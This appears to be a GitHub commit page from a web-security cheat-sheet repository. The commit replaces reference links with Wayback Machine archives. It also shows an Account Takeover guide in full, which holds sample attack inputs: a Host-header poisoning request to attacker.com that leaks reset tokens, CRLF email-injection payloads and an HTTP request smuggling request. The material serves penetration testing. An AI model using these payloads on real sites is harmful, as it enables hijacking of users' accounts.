Skip to content

Commit 497fbe9

Browse files
committed
Archive external reference links via Wayback Machine
Replace direct URLs in Markdown references with their web.archive.org equivalents to prevent link rot.
1 parent 769b300 commit 497fbe9

118 files changed

Lines changed: 1661 additions & 4600 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

API Key Leaks/IIS-Machine-Keys.md

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -200,8 +200,8 @@ $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
200200

201201
## References
202202

203-
* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
204-
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
205-
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
206-
* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
207-
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
203+
* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://web.archive.org/web/20250916225422/https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
204+
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://web.archive.org/web/20250806010506/https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
205+
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://web.archive.org/web/20250810191756/https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
206+
* [Project Blacklist3r - @notsosecure - November 23, 2018](https://web.archive.org/web/20260116051627/https://notsosecure.com/project-blacklist3r)
207+
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://web.archive.org/web/20260107194152/https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)

API Key Leaks/README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,6 @@ Add these lines to your `.pre-commit-config.yaml` file.
103103
## References
104104

105105
- [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
106-
- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
107-
- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
108-
- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
106+
- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://web.archive.org/web/20240522172244/https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
107+
- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://web.archive.org/web/20211208043535/https://hackerone.com/reports/376060)
108+
- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://web.archive.org/web/20250714230057/https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)

Account Takeover/README.md

Lines changed: 187 additions & 187 deletions
Original file line numberDiff line numberDiff line change
@@ -1,187 +1,187 @@
1-
# Account Takeover
2-
3-
> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
4-
5-
## Summary
6-
7-
* [Password Reset Feature](#password-reset-feature)
8-
* [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
9-
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
10-
* [Password Reset via Email Parameter](#password-reset-via-email-parameter)
11-
* [IDOR on API Parameters](#idor-on-api-parameters)
12-
* [Weak Password Reset Token](#weak-password-reset-token)
13-
* [Leaking Password Reset Token](#leaking-password-reset-token)
14-
* [Password Reset via Username Collision](#password-reset-via-username-collision)
15-
* [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
16-
* [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities)
17-
* [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
18-
* [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
19-
* [Account Takeover via CSRF](#account-takeover-via-csrf)
20-
* [References](#references)
21-
22-
## Password Reset Feature
23-
24-
### Password Reset Token Leak via Referrer
25-
26-
1. Request password reset to your email address
27-
2. Click on the password reset link
28-
3. Don't change password
29-
4. Click any 3rd party websites(eg: Facebook, twitter)
30-
5. Intercept the request in Burp Suite proxy
31-
6. Check if the referer header is leaking password reset token.
32-
33-
### Account Takeover Through Password Reset Poisoning
34-
35-
1. Intercept the password reset request in Burp Suite
36-
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
37-
3. Forward the request with the modified header
38-
39-
```http
40-
POST https://example.com/reset.php HTTP/1.1
41-
Accept: */*
42-
Content-Type: application/json
43-
Host: attacker.com
44-
```
45-
46-
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
47-
48-
### Password Reset via Email Parameter
49-
50-
```powershell
51-
# parameter pollution
52-
email=victim@mail.com&email=hacker@mail.com
53-
54-
# array of emails
55-
{"email":["victim@mail.com","hacker@mail.com"]}
56-
57-
# carbon copy
58-
email=victim@mail.com%0A%0Dcc:hacker@mail.com
59-
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
60-
61-
# separator
62-
email=victim@mail.com,hacker@mail.com
63-
email=victim@mail.com%20hacker@mail.com
64-
email=victim@mail.com|hacker@mail.com
65-
```
66-
67-
### IDOR on API Parameters
68-
69-
1. Attacker have to login with their account and go to the **Change password** feature.
70-
2. Start the Burp Suite and Intercept the request
71-
3. Send it to the repeater tab and edit the parameters : User ID/email
72-
73-
```powershell
74-
POST /api/changepass
75-
[...]
76-
("form": {"email":"victim@email.com","password":"securepwd"})
77-
```
78-
79-
### Weak Password Reset Token
80-
81-
The password reset token should be randomly generated and unique every time.
82-
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
83-
84-
* Timestamp
85-
* UserID
86-
* Email of User
87-
* Firstname and Lastname
88-
* Date of Birth
89-
* Cryptography
90-
* Number only
91-
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
92-
* Token reuse
93-
* Token expiration date
94-
95-
### Leaking Password Reset Token
96-
97-
1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
98-
2. Inspect the server response and check for `resetToken`
99-
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
100-
101-
### Password Reset via Username Collision
102-
103-
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
104-
2. Request a password reset with your malicious username.
105-
3. Use the token sent to your email and reset the victim password.
106-
4. Connect to the victim account with the new password.
107-
108-
The platform CTFd was vulnerable to this attack.
109-
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
110-
111-
### Account Takeover Due To Unicode Normalization Issue
112-
113-
When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.
114-
115-
* Victim account: `demo@gmail.com`
116-
* Attacker account: `demⓞ@gmail.com`
117-
118-
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
119-
120-
[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
121-
122-
## Account Takeover via Web Vulnerabilities
123-
124-
### Account Takeover via Cross Site Scripting
125-
126-
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
127-
2. Leak the current **sessions cookie**
128-
3. Authenticate as the user using the cookie
129-
130-
### Account Takeover via HTTP Request Smuggling
131-
132-
Refer to **HTTP Request Smuggling** vulnerability page.
133-
134-
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
135-
136-
```powershell
137-
git clone https://github.com/defparam/smuggler.git
138-
cd smuggler
139-
python3 smuggler.py -h
140-
```
141-
142-
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
143-
144-
```powershell
145-
GET http://something.burpcollaborator.net HTTP/1.1
146-
X:
147-
```
148-
149-
3. Final request could look like the following
150-
151-
```powershell
152-
GET / HTTP/1.1
153-
Transfer-Encoding: chunked
154-
Host: something.com
155-
User-Agent: Smuggler/v1.0
156-
Content-Length: 83
157-
158-
0
159-
160-
GET http://something.burpcollaborator.net HTTP/1.1
161-
X: X
162-
```
163-
164-
Hackerone reports exploiting this bug
165-
166-
* <https://hackerone.com/reports/737140>
167-
* <https://hackerone.com/reports/771666>
168-
169-
### Account Takeover via CSRF
170-
171-
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
172-
2. Send the payload
173-
174-
### Account Takeover via JWT
175-
176-
JSON Web Token might be used to authenticate an user.
177-
178-
* Edit the JWT with another User ID / Email
179-
* Check for weak JWT signature
180-
181-
## References
182-
183-
* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
184-
* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
185-
* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
186-
* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
187-
* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
1+
# Account Takeover
2+
3+
> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
4+
5+
## Summary
6+
7+
* [Password Reset Feature](#password-reset-feature)
8+
* [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
9+
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
10+
* [Password Reset via Email Parameter](#password-reset-via-email-parameter)
11+
* [IDOR on API Parameters](#idor-on-api-parameters)
12+
* [Weak Password Reset Token](#weak-password-reset-token)
13+
* [Leaking Password Reset Token](#leaking-password-reset-token)
14+
* [Password Reset via Username Collision](#password-reset-via-username-collision)
15+
* [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
16+
* [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities)
17+
* [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
18+
* [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
19+
* [Account Takeover via CSRF](#account-takeover-via-csrf)
20+
* [References](#references)
21+
22+
## Password Reset Feature
23+
24+
### Password Reset Token Leak via Referrer
25+
26+
1. Request password reset to your email address
27+
2. Click on the password reset link
28+
3. Don't change password
29+
4. Click any 3rd party websites(e.g., Facebook, twitter)
30+
5. Intercept the request in Burp Suite proxy
31+
6. Check if the referer header is leaking password reset token.
32+
33+
### Account Takeover Through Password Reset Poisoning
34+
35+
1. Intercept the password reset request in Burp Suite
36+
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
37+
3. Forward the request with the modified header
38+
39+
```http
40+
POST https://example.com/reset.php HTTP/1.1
41+
Accept: */*
42+
Content-Type: application/json
43+
Host: attacker.com
44+
```
45+
46+
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
47+
48+
### Password Reset via Email Parameter
49+
50+
```powershell
51+
# parameter pollution
52+
email=victim@mail.com&email=hacker@mail.com
53+
54+
# array of emails
55+
{"email":["victim@mail.com","hacker@mail.com"]}
56+
57+
# carbon copy
58+
email=victim@mail.com%0A%0Dcc:hacker@mail.com
59+
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
60+
61+
# separator
62+
email=victim@mail.com,hacker@mail.com
63+
email=victim@mail.com%20hacker@mail.com
64+
email=victim@mail.com|hacker@mail.com
65+
```
66+
67+
### IDOR on API Parameters
68+
69+
1. Attacker have to login with their account and go to the **Change password** feature.
70+
2. Start the Burp Suite and Intercept the request
71+
3. Send it to the repeater tab and edit the parameters : User ID/email
72+
73+
```powershell
74+
POST /api/changepass
75+
[...]
76+
("form": {"email":"victim@email.com","password":"securepwd"})
77+
```
78+
79+
### Weak Password Reset Token
80+
81+
The password reset token should be randomly generated and unique every time.
82+
Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
83+
84+
* Timestamp
85+
* UserID
86+
* Email of User
87+
* Firstname and Lastname
88+
* Date of Birth
89+
* Cryptography
90+
* Number only
91+
* Small token sequence (<6 characters between [A-Z,a-z,0-9])
92+
* Token reuse
93+
* Token expiration date
94+
95+
### Leaking Password Reset Token
96+
97+
1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
98+
2. Inspect the server response and check for `resetToken`
99+
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
100+
101+
### Password Reset via Username Collision
102+
103+
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
104+
2. Request a password reset with your malicious username.
105+
3. Use the token sent to your email and reset the victim password.
106+
4. Connect to the victim account with the new password.
107+
108+
The platform CTFd was vulnerable to this attack.
109+
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
110+
111+
### Account Takeover Due To Unicode Normalization Issue
112+
113+
When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur.
114+
115+
* Victim account: `demo@gmail.com`
116+
* Attacker account: `demⓞ@gmail.com`
117+
118+
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
119+
120+
[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
121+
122+
## Account Takeover via Web Vulnerabilities
123+
124+
### Account Takeover via Cross Site Scripting
125+
126+
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
127+
2. Leak the current **sessions cookie**
128+
3. Authenticate as the user using the cookie
129+
130+
### Account Takeover via HTTP Request Smuggling
131+
132+
Refer to **HTTP Request Smuggling** vulnerability page.
133+
134+
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
135+
136+
```powershell
137+
git clone https://github.com/defparam/smuggler.git
138+
cd smuggler
139+
python3 smuggler.py -h
140+
```
141+
142+
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
143+
144+
```powershell
145+
GET http://something.burpcollaborator.net HTTP/1.1
146+
X:
147+
```
148+
149+
3. Final request could look like the following
150+
151+
```powershell
152+
GET / HTTP/1.1
153+
Transfer-Encoding: chunked
154+
Host: something.com
155+
User-Agent: Smuggler/v1.0
156+
Content-Length: 83
157+
158+
0
159+
160+
GET http://something.burpcollaborator.net HTTP/1.1
161+
X: X
162+
```
163+
164+
Hackerone reports exploiting this bug
165+
166+
* <https://hackerone.com/reports/737140>
167+
* <https://hackerone.com/reports/771666>
168+
169+
### Account Takeover via CSRF
170+
171+
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
172+
2. Send the payload
173+
174+
### Account Takeover via JWT
175+
176+
JSON Web Token might be used to authenticate an user.
177+
178+
* Edit the JWT with another User ID / Email
179+
* Check for weak JWT signature
180+
181+
## References
182+
183+
* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://web.archive.org/web/20250701123134/https://www.youtube.com/watch?v=gzM4wWA7RFo)
184+
* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://web.archive.org/web/20250626114943/https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
185+
* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://web.archive.org/web/20250913121907/https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
186+
* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://web.archive.org/web/20200329075120/https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
187+
* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://web.archive.org/web/20251219192449/https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)

0 commit comments

Comments
 (0)